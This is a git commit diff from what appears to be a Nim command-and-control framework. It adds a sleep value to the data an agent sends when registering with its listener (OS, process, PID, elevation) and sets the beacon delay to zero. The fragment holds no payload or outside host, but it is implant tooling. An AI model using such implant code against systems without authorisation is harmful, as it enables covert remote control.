Prevent database locking by not updating latest checkin in database and instead storing it only in memory

This commit is contained in:
Jakob Friedl
2025-05-29 14:19:55 +02:00
parent d35b1d0a0d
commit 118e9eadd2
7 changed files with 40 additions and 11 deletions

View File

@@ -18,7 +18,8 @@ proc register*(config: AgentConfig): string =
"os": getOSVersion(),
"process": getProcessExe(),
"pid": getProcessId(),
"elevated": isElevated()
"elevated": isElevated(),
"sleep": config.sleep
}
echo $body

View File

@@ -2,4 +2,4 @@
-d:ListenerUuid="KPDHWZNT"
-d:ListenerIp="localhost"
-d:ListenerPort=7777
-d:SleepDelay=10
-d:SleepDelay=0